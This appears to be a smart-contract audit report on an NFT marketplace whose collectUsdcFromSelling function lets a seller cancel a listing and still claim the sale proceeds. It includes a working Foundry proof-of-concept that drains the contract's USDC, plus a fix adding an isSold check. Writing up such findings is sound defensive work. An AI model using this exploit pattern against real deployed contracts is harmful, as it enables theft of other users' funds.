Root + Impact
Description
-
Normally, when a user sells an NFT through the marketplace, the buyer pays the price, the NFT is transferred, and the seller can later collect their proceeds (minus fees) plus any collateral locked during minting. The contract also allows sellers to cancel a listing before it sells, which returns their collateral and marks the listing as inactive.
-
The problem is that the function collectUsdcFromSelling does not verify whether the inactive listing was actually sold – it only checks that the listing is inactive. This means a malicious seller can cancel their own listing (making it inactive) and then call collectUsdcFromSelling to receive the full sale proceeds (minus fees) as if the NFT had been sold, even though no buyer ever paid. This drains the contract’s USDC balance, which belongs to other users.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:High
Any whitelisted user can mint an NFT and create a listing with any price.
The user can immediately cancel the listing and call collectUsdcFromSelling – there are no additional requirements or waiting periods.
Impact:High
An attacker can steal all USDC held in the contract, including funds from previous sales and collateral from other users.
The contract owner loses fees that were supposed to be collected, and honest sellers lose their proceeds.
Proof of Concept
The following Foundry test demonstrates the exploit:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../src/NFTDealers.sol";
contract USDC is ERC20 {
constructor() ERC20("USD Coin", "USDC") {
_mint(msg.sender, 1_000_000 * 10 ** 6);
}
function decimals() public pure override returns (uint8) {
return 6;
}
}
contract NFTDealersTest is Test {
NFTDealers public nftDealers;
USDC public usdc;
address public owner = address(0x1);
address public attacker = address(0x2);
address public victim = address(0x3);
uint256 constant LOCK_AMOUNT = 20 * 10 ** 6;
uint256 constant BIG_PRICE = 4_000 * 10 ** 6;
uint256 constant INITIAL_CONTRACT_BALANCE = 200_000 * 10 ** 6;
function setUp() public {
usdc = new USDC();
vm.prank(owner);
nftDealers = new NFTDealers(
owner,
address(usdc),
"Test Collection",
"TST",
"ipfs://image/",
LOCK_AMOUNT
);
vm.prank(owner);
nftDealers.whitelistWallet(attacker);
vm.prank(owner);
nftDealers.whitelistWallet(victim);
vm.prank(owner);
nftDealers.revealCollection();
usdc.transfer(attacker, LOCK_AMOUNT * 2);
usdc.transfer(victim, 1000 * 10 ** 6);
usdc.transfer(address(nftDealers), INITIAL_CONTRACT_BALANCE);
}
function testFakeSaleDrain() public {
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
uint256 tokenId = nftDealers.totalMinted();
vm.prank(attacker);
nftDealers.list(tokenId, uint32(BIG_PRICE));
uint256 listingId = 1;
vm.prank(attacker);
nftDealers.cancelListing(listingId);
uint256 attackerBalanceBefore = usdc.balanceOf(attacker);
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(listingId);
uint256 attackerBalanceAfter = usdc.balanceOf(attacker);
uint256 contractBalanceAfter = usdc.balanceOf(address(nftDealers));
uint256 fees = nftDealers.calculateFees(BIG_PRICE);
uint256 amountToAttacker = BIG_PRICE - fees;
assertEq(attackerBalanceAfter - attackerBalanceBefore, amountToAttacker, "Attacker should gain price minus fees");
assertEq(contractBalanceBefore - contractBalanceAfter, amountToAttacker, "Contract should lose that amount");
assertEq(nftDealers.totalFeesCollected(), fees, "Fees should be collected");
}
}
Recommended Mitigation
Modify the collectUsdcFromSelling function to only allow collection when the listing has been marked as sold. Introduce a new field isSold in the Listing struct, set it to true in the buy function, and require it in collectUsdcFromSelling.
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isSold;
}
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].isSold = true;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.isSold, "Listing was not sold");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
